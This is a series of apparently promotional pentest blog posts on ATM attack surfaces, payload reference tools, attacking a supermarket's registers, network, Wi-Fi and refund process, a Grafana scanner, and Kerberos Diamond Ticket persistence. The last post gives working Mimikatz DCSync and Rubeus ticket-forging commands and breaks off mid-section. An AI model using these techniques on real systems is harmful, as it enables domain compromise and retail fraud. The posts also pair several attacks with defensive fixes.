Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Think back to the first time you installed Kali Linux. It was probably one of those moments where you realized just how many cybersecurity tools existed. Your applications menu was packed with hundreds of tools covering everything from recon and vulnerability scanning to exploitation, password attacks, wireless security and much more.

At first, it was exciting. But most beginners spend hours clicking through the menus wondering what every tool does and when they should actually use it. Unfortunately, the sheer number of applications quickly becomes overwhelming. Even if you dedicate time to learning them, chances are you’ll forget many of their names simply because there are so many available. On top of that, documentation isn’t always beginner-friendly. Some projects have excellent documentation, while others assume you already know exactly what the tool is supposed to do before you even start reading.

The good news is that you don’t have to memorize hundreds of commands or remember every tool available. Instead, you can build your own arsenal of references that helps you quickly find the right tool.

In this article, we’re going to build exactly that. We’ll explore two resources called Arsenal-NG and Arsenal, both of which are designed to make finding offensive security tools, payloads, commands much faster.

Arsenal-NG

The first tool we’ll look at is Arsenal-NG. The name pretty much explains what it does. Arsenal-NG is essentially a searchable collection of offensive security tools, commands, and predefined workflows. Whether you’re doing reconnaissance, exploiting a service, generating payloads, Arsenal-NG can help you find the right tool for the job.

Let’s install it.

kali > git clone https://github.com/halilkirazkaya/arsenal-ng.git
kali > cd arsenal-ng
kali > make build

Once compilation finishes, you can launch the program directly. For convenience, you may also want to move the binary into one of the directories listed in your PATH environment variable. Doing so allows you to start Arsenal-NG from any directory. 

kali > arsenal-ng

When it starts, you’ll immediately notice a large collection of tools organized inside the interface. Each tool includes predefined presets for different kinds of operations. 

To display the complete list of available tools, simply run tools

If you already know what kind of task you’re trying to accomplish but don’t remember what tool can do it, you can use the built-in search feature. Searching by keywords makes it easy to discover them.

Once you’ve found the tool you need, selecting one of its presets walks you through the required parameters. There you simply provide the requested information and let it generate the command for you.

If you need additional information about the application itself, run help.

Arsenal

Unlike Arsenal-NG, Arsenal focuses primarily on web exploitation and can be used directly from your browser. There is no installation process, making it convenient when you simply need a quick reference.

You can access it here.

One thing worth mentioning is that the website supports multiple languages. If the interface isn’t already in English, simply switch the language using the selector in the upper-right corner. Once inside, you’ll notice that the content is organized into several different sections, each designed to help with a different phase of a web penetration test.

One of them is Payloads.

This area contains a huge collection of payloads covering many different types of web vulnerabilities and exploitation techniques. Whether you’re working with command injection, SQL injection, XSS, SSTI, XXE, deserialization, or other common web vulnerabilities, chances are you’ll find useful examples here.

Another valuable section is Attack Chains.

Rather than simply providing payloads, Attack Chains guide you through the overall exploitation process. They outline the sequence of steps typically required to compromise a target.

The Commands section is another good reference.

You can build the command you need by selecting the appropriate options.

Then we have Wordlists.

There are numerous wordlists organized into logical categories, making it much easier to find exactly what you’re looking for. Each category often contains several different wordlists optimized for different situations. 

You’ll also find a large collection of Scripts.

These scripts cover a wide variety of purposes, including reconnaissance, AI-related security checks, subdomain takeovers, automation and more.

Of course, we’ve only scratched the surface. Arsenal contains more additional sections that are worth exploring on your own. Spend some time clicking through the different categories and seeing what they have.

Summary

Building your own cybersecurity arsenal isn’t about memorizing every command ever written. In fact, no experienced pentester or hacker remembers every tool, every option or every payload. There are simply too many of them, and new ones are being developed all the time. Arsenal-NG and Arsenal can help you organize knowledge. They are valuable when you’re getting started and they remain just as useful years later when you’re experienced.

Since many of these tools fall into different categories, such as network pentesting, web pentesting, bug bounty hunting, and more, the best way to develop your skills is through our Member Gold subscription. It gives you access to a wide variety of training courses covering different areas.

The post Linux for Hackers: Building Your Tool Arsenal first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Let’s talk about something most people never think about. When the news reports on a cyberattack against a big retail chain, the story usually sounds the same. A database got leaked or ransomware locked up the company’s files. These are real threats, and they deserve attention. But what happens if a hacker skips all of that and simply walks into a physical store with a laptop tucked in a backpack? No malware sent through email and no phishing link, just being there physically.

In this article, we are going to build a picture, drawn from several real walkthroughs of ordinary retail stores, all pointed toward one goal. We want to see the store the way a pentester sees it.

A Hacker in the Supermarket

Imagine someone stepping through the front doors with that mindset. Within a few minutes of walking the floor, a handful of things stand out.

There are the transformer checkout terminals and the self service kiosks, the modern face of retail, and also a possible weak point. There are staff call buttons mounted near the aisles, small radio transmitters that broadcast a fixed code each time someone presses them, a code that could potentially be captured and played back later. There are wireless DECT handsets still in use on some sales floors, the same cordless phone technology many offices have relied on for years. There are data collection terminals, plain Android devices that sometimes carry no password protection at all, with access to the store’s Wi-Fi settings. And running along the floor and behind the counters, there are network cables, which in the wrong circumstances could let anyone plug in and reach the store’s internal network.

Day 1 – Becoming an Insider

Many corporations believe their internal network is sealed off from the outside world, safe behind firewalls and passwords. That sense of safety can end at the first unlabeled cable lying loose on the floor.

Someone can walk up to a transformer checkout terminal,  unplug its network cable, plug in a laptop instead (or better yet, one of those devices we showed in previous articles), and type a simple command.

kali > sudo dhclient

That laptop could be handed an IP address from the store’s own internal network. If the network uses a /27 mask, that means an entire segment of the corporate infrastructure could open up right there.

Scanning the network might take only a couple more minutes, and inside, a hacker could find exactly what you would expect from a typical store. There could be the store manager’s workstation, with an open RDP port for remote access. There could be a Wi-Fi router still running its factory default settings. There could be a DECT base station handling internal telephony. There could be surveillance cameras, other registers and terminals, and tucked away in shared folders and configuration files, credentials and passwords saved in plaintext.

From there, someone could try connecting to the manager’s computer. If the RDP client offers a choice of accounts, and one of those accounts, say one named operator, needs no password at all, that should raise a flag. Normally Windows blocks RDP logins for accounts with blank passwords, so a setup like that means someone deliberately switched that protection off, likely to keep an easy access route open for themselves. Sysadmins often do it. But that’s a backdoor. We often see the same issue with VNC. That route could lead to the remote desktop of an employee with access to corporate email, internal messenger conversations, financial documents, work schedules, and delivery data.

And since Chrome is installed on nearly every computer in sight, opening Passwords could show saved logins for internal services, everything from the CRM system to the warehouse management software, sitting there in plain view.

How to Fix It

Passwordless accounts feel almost like a relic from an earlier era, yet they still turn up in retail environments from time to time. Alongside them, flat, unsegmented networks are common, where cameras, workstations, and Wi-Fi routers all sit together on the same segment. Add to that the simple physical accessibility of the equipment. Network cables, ports, and switches are often placed exactly where any employee, or any visitor, could reach them without much trouble.

Segment the network properly, giving separate VLANs to registers, service equipment, and employee workstations, so a breach in one area does not open a door to everything else. Restrict which devices are even allowed to connect through RDP in the first place. Turn on MAC address whitelisting along with Port Security, so an unknown device cannot simply be plugged into an open port and join the network. Require real passwords on every local account, without exception. Disable browser based password storage for anything tied to internal systems.

And finally, ask security staff to keep a closer eye on the registers themselves.

Day 2 – Telephone Game

Consider a small, easy to overlook detail, a staff call button tucked into a corner near an aisle. Pressed once, it sends a chime ringing across the store, and a salesperson comes over a moment later. Simple enough, on the surface.

Except with a HackRF One someone could intercept and record the exact signal the button sends the moment it is pressed. If that button broadcasts the same static signal every time, with no protection against replay, then anyone who plays that recorded signal back over the air could trigger the same chime, without ever touching the actual button. This is what we call a replay attack, and it remains a real possibility even now.

Once that chime lives on someone’s laptop, a single click could ring it out across the entire store. Employees might rush toward the sound, leaving a register briefly unattended, while someone else nearby has a short window to act.

The same HackRF One, paired with an open source tool called gr dect2, could also be used to listen to the surrounding airwaves. If a store still relies on wireless DECT handsets for internal communication, a call placed from one handset to another could, in principle, be intercepted and decrypted in real time as it travels through the air. From that point, anyone listening could pick up delivery schedules, work rosters, and conversations about register problems, all carried over employees’ DECT handsets.

Older pentest reports sometimes describe this kind of attack as only medium risk, mostly because of the cost of the equipment and the technical skill it supposedly requires. It’s different now. An original HackRF One costs somewhere around three hundred dollars, and less expensive clones can be found on online marketplaces for a fraction of that price. And gr dect2 makes the whole process more accessible, since it is an openly documented, freely available project.

How to Fix It

The fixes here lean more organizational than technical. It makes sense to retire primitive call buttons in favor of systems that use dynamic, constantly changing codes instead of a single static signal. Alongside that, replacing outdated DECT telephony with modern VoIP or straightforward wired communication removes much of this risk entirely.

Day 3 – Corporate Wi-Fi

What about the Wi-Fi? On paper, it can look genuinely solid, not a simple router with a shared password, but full WPA-Enterprise authentication requiring a proper login and password from each user. That sounds like a real obstacle, and in many ways it is. But it does not fully close the door. Someone could set up a rogue access point using the exact same network name as the legitimate one. If an employee’s device, whether a work tablet or a personal smartphone, tries to reconnect automatically, it might see two access points broadcasting the identical name and simply pick whichever one offers the stronger signal and the faster response. A rogue access point built for this purpose could easily be tuned to answer faster than the real one. Once a device connects to that convincing twin, it attempts to authenticate as usual, and in doing so, it sends its credentials straight into someone else’s logs.

How to Fix It

Setting up EAP TLS with proper certificate validation on every client device helps ensure a fake network cannot simply mimic its way into a successful login. Monitoring the surrounding radio spectrum regularly is also worthwhile. Even simple, freely available tools can detect unauthorized access points broadcasting names that match or closely resemble the real corporate network. And training staff matters. If a Wi-Fi password is unexpectedly requested a second time, or a connection seems to take suspiciously long, employees should feel comfortable reporting it to security or the IT security team right away.

Day 4 – Transformer Register and Cash Drawer

A transformer register is really a combined hardware and software unit, built around a metal cash drawer, both stationary and handheld barcode scanners, and a receipt printer. Along its bottom panel often sits a row of unprotected USB ports. Plugging in an ordinary keyboard there opens the door to some experimentation.

Pressing Ctrl Alt and one of the function keys from F1 through F5 can switch the screen to a text console, prompting for a login and password. Full system access could sit right there within reach. Even if the Alt F2 shortcut for quickly launching commands has been disabled, the multi user Linux console underneath may remain fully accessible regardless.

Power cycling the device and pressing Delete could open the BIOS. Without a boot password protecting it, the machine could be booted from an outside USB drive, handing over full control of the system, along with the ability to change settings or install unwanted software.

The most interesting risk, though, waits underneath the register itself. The metal cash drawer typically has a mechanical emergency release button on its underside. If the drawer has not been locked with a physical key, which happens more often than store staff would like to admit, then any customer could simply lean down, press that button, and slide the cash right out.

No discussion of registers is complete without mentioning their close relatives, the self checkout kiosks. These are essentially the same transformer registers, just packaged in a form factor that happens to be even more exposed. USB ports, network ports, and power ports often sit within easy reach. The real difference is that a transformer register might occasionally be watched by a nearby salesperson, while a self checkout kiosk usually sits alone in a corner, without much oversight at all.

Standing casually near a kiosk for just a few minutes could be enough to observe an employee entering their access code. From there, that access could open up the kiosk’s full functionality, including the ability to ring up items, process returns, and open that same metal cash drawer hiding underneath.

How to Fix It

The solution here is fairly clear once the problem is understood. Restricting physical access to the register hardware itself, through USB port blockers, closed enclosures, and sealed covers, prevents outside devices from being connected in the first place. A BIOS password combined with disabling boot from removable media protects against attempts to seize control of the system through a flash drive.

Employee authorization deserves attention too. Since the register already comes equipped with a barcode scanner, a smart approach is issuing personal ID badges with the employee’s password encoded directly into the barcode. The employee scans their badge, the system authenticates them instantly, and the actual password stays hidden from anyone watching nearby. Leaving the alphanumeric combination off the badge entirely prevents it from being typed in manually as a way to bypass the scanner.

And of course, the lock on the cash drawer matters. If it is even possible to leave that drawer unlocked, sooner or later it probably will be. Drawers that lock automatically, without relying on a person remembering to do it, offer a much more reliable solution.

Day 5 – Refund

Consider someone playing the role of an ordinary, everyday customer. They buy a small item in the store, pay with a card, and walk away with a receipt like anyone else. Once a self checkout kiosk sits idle for a moment, tapping the top left corner of the screen could open a hidden staff menu.

The system would ask for authorization. If someone types in a password they had observed a cashier enter earlier, often a simple employee ID number, that alone could be enough to land inside the cashier menu. 

From there, selecting a refund by sales receipt option could display a list of recent transactions, including the very purchase just made. A further step worth testing is whether the refund could be redirected, not back to the same card used to pay, but to a completely different one, belonging to someone else entirely. You might expect the terminal to block an operation like that, or at least demand confirmation from a senior employee before proceeding. In some systems, neither of those things happens, and an ordinary cashier’s password turns out to be enough to redirect the funds elsewhere.

To its credit, a system like this may honestly display a warning that the money will be sent to a different card than the one used for payment. But it can carry out the operation anyway, without further checks.

The item would stay with the customer, the original purchase would turn into a refund on paper, and the store’s money would end up in someone else’s account. One more detail worth checking is whether the refund function has any built in time limits. Many places only allow refunds within a set window, say fourteen days, in line with consumer protection law. But in some systems, attempting to process a refund for a purchase made several months earlier goes through without any resistance at all.

This points to a deeper gap in business logic and access control. The authorization threshold can sit far too low, since a rank and file salesperson’s password may be enough to trigger a real financial operation, and that password is often easy to observe over someone’s shoulder. There may be no check to confirm the refund card actually matches the original payment card. A refund landing on a different card is not automatically suspicious on its own, since many banks and retail chains support this for customer convenience. But operations like that should require sign off from the store manager, a financially liable employee, or someone else holding proper authority. And finally, there may be no meaningful time or amount limits at all, meaning refunds could remain possible over an unlimited stretch of time, and theoretically for an unlimited amount, up to whatever balance the register happens to hold.

How to Fix It

Two tier authorization is genuinely useful here, paired with a strict time window governing refunds. Automatic refunds could be limited to the last fourteen days, with anything older switching over to manual processing, complete with multi level review and documented sign off.

Tying the refund card to the original payment card by default, as a standing rule, closes much of this gap. Cash refunds, or refunds sent to a different card, should remain the exception rather than the norm, strictly regulated and logged separately from everything else.

A dedicated audit log for every refund operation, tied clearly to the cashier’s ID, the receipt number, and the recipient card, makes it possible to review the whole trail later if something looks off.

Summary

Nothing here requires exotic tools or rare expertise. The overall picture is worth taking seriously, because a store is never just a building full of shelves and registers. It functions as a branch of the corporate infrastructure itself, a set of trusted interfaces placed out into public space, right in front of every customer who walks through the door.

But these small, easy to overlook pieces can chain together. Network access can lead to credentials, credentials can lead to internal systems, internal systems can lead to operational data, and operational data can eventually lead to real financial consequences. A useful security assessment in an environment like this does not simply end with a recommendation to close a port and set a stronger password. It ends with a more useful question worth asking. Who decided, at some point along the way, that all of these things should sit within the customer’s reach in the first place?

If you enjoy hacking and would like to get started in cybersecurity, we have created the Cybersecurity Starter Bundle II to equip you with the knowledge and skills needed to begin your journey. If you want to advance your skills even further, our Cyberwarrior Path is made to help you delve deeply into the technology and show you how to break it

The post Pentesting: Hacking the Supermarket first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During pentests, it’s not uncommon to find a Grafana somewhere inside an organization’s infrastructure. Sometimes it can even be exposed directly to the Internet. It’s always worth checking Grafana for vulnerabilities, as it has been affected by multiple security issues over the years.

What is Grafana

Grafana is an open-source monitoring and visualization platform used by organizations to display dashboards containing information collected from servers, applications, databases, cloud services and networking equipment. Administrators rely on it to monitor the health of their infrastructure in real time, making it one of the most widely deployed monitoring apps in enterprise environments. Since Grafana often connects to numerous backend services and contains valuable configuration information, compromising it can sometimes give hackers an excellent foothold into the rest of the network.

Of course, you could manually inspect every Grafana installation looking for known vulnerabilities, but that quickly becomes time-consuming, especially during larger engagements where multiple servers have to be assessed.

Fortunately, there is a Grafana-Final-Scanner. It’s a tool designed specifically to automate this process. Instead of manually checking every instance the scanner performs the work for you by checking whether the target is vulnerable to a collection of publicly known vulnerabilities.

Grafana-Final-Scanner

We’ll begin by downloading the repository and installing its dependencies.

kali > git clone https://github.com/Zierax/Grafana-Final-Scanner.git
kali > cd Grafana-Final-Scanner
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip3 install -r requirements.txt

Once everything has been installed successfully, it’s worth taking a quick look at the list of vulnerabilities supported by the scanner.

At the time of writing, the tool is capable of checking for more than fifteen different Grafana vulnerabilities.

Now let’s point it at our target.

kali > python3 scanner.py -u https://target/grafana/login

After a short scan, the tool analyzes the target and reports any vulnerabilities it successfully identifies.

In our case, the results were promising. The scanner identified CVE-2024-8118 and an OAuth Authentication Bypass vulnerability. It also gave us the URL. We opened the page and the application asked us for an administrator key that we obviously didn’t have.

Fortunately, web applications don’t always behave exactly as their developers intended. Developers occasionally leave sensitive information inside the application’s front-end code. JavaScript, HTML comments, hardcoded credentials, authorization logic have all been discovered by hackers countless times over the years.

With that in mind, we opened the page’s HTML source code to see exactly how the authorization process was implemented. The comments were written in Russian, but the logic itself was fairly easy to understand.

Instead of verifying a specific administrator key, the application simply checked whether any key existed. So the validation routine wasn’t actually validating the value at all. It simply checked if some key was provided.

The next step was straightforward. We opened the browser’s Developer Console and manually created the expected key.

The application accepted it. 

We bypassed the authentication and accessed the admin panel. 

Finding a vulnerability is only part of the pentest. Understanding how the application behaves after exploitation is equally important. Sometimes the scanners get you only halfway there, while manual analysis can help you find the remaining pieces needed to fully demonstrate the impact.

It’s also a good reminder that developers occasionally leave sensitive information hidden inside client-side code. You never know what useful information may have been left behind.

Web Interface

While running the scanner from the command line works perfectly for testing targets, the project also includes a convenient web interface.

This can be useful during larger pentests where dozens of Grafana instances need to be assessed.

You can start it with this command:

kali > python scanner.py --serve --db vulndb.json

Summary

Grafana is one of the most common monitoring platforms you’ll encounter during internal and external penetration tests. Because it frequently contains sensitive operational data and often communicates with numerous backend systems, compromising it can sometimes provide hackers with an excellent entry point into an organization’s network.

Grafana-Final-Scanner can make it much easier to determine whether your Grafana is exposed to known vulnerabilities.

If you enjoy web application pentesting and would like to improve your skills for bug bounty hunting, we have our Web Application Hacking training. You’ll gain the practical knowledge and skills you need to start finding web application vulnerabilities.

The post Pentesting: Using Grafana to Pentest a Fitness App first appeared on Hackers Arise.

Welcome back, aspiring hackers!

One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.

This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.

Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.

The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.

Today we are going to explore The Art of Staying In by DbgMan.

The Art of Staying In

The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.

The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.

We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.

Active Directory Persistence

One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.

Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.

There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.

Diamond Ticket

A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.

To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.

A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.

A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.

For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.

The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.

PS > mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt"

After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.

Next we move to Rubeus.

Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap

# add /output:admin.kirbi if you need it

This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.

If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.

kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache

Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.

Sapphire Tickets

